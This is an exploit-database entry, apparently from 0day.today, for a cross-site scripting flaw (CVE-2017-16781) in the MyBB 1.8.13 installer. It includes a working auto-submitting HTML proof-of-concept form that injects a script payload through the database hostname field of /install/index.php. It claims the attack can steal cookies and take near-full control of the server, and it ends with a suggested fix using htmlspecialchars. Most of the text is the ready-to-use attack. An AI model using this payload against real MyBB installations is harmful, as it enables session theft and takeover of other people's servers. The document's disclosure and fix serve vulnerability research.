MyBB 1.8.13 - Cross-Site Scripting Vulnerability

# Exploit Title: XSS in MyBB up to 1.8.13 via installer
# Date: Found on 05-29-2017
# Exploit Author: Pablo Sacristan
# Vendor Homepage: https://mybb.com/
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16781
 
No HTML escaping when returning an $error in /install/index.php can
lead to an XSS which can be used to take over an attacker account.
 
The vulnerability occurs in /install/index.php:2503 and occurs because
there is no html encoding of the $error. A simple way to exploit this
is to create an error by using the Database Server Hostname and
inserting HTML characters there.
 
It is a POST XSS and this is a PoC:
<form name="x" action="http://target.com/install/index.php" method="post">
 
<input type="hidden" name='dbengine' value="mysqli">
<input type="hidden" name='config[mysqli][dbhost]' value="<img src=x onerror=alert(0)>">
<input type="hidden" name='config[mysqli][dbuser]' value="lol">
<input type="hidden" name='config[mysqli][dbpass]' value="lol">
<input type="hidden" name='config[mysqli][dbname]' value="lol">
<input type="hidden" name='config[mysqli][tableprefix]' value="lol">
<input type="hidden" name='config[mysqli][encoding]' value="utf8">
<input type="hidden" name='config[mysql][dbhost]' value="localhost">
<input type="hidden" name='action' value="create_tables">
 
</form>
 
<script>document.x.submit();</script>
 
Using this attack you can steal the cookies and you can install the MyBB server as you want, giving you almost full control over the MyBB server.
 
A simple fix would be to change the function error_list($array) to:
function error_list($array)
{
 $string = "<ul>\n";
 foreach($array as $error)
 {
            $string .= "<li>";
            $string .= htmlspecialchars($error);
            $string .= "</li>";
 }
 $string .= "</ul>\n";
 return $string;
}

#  0day.today [2018-04-05]  #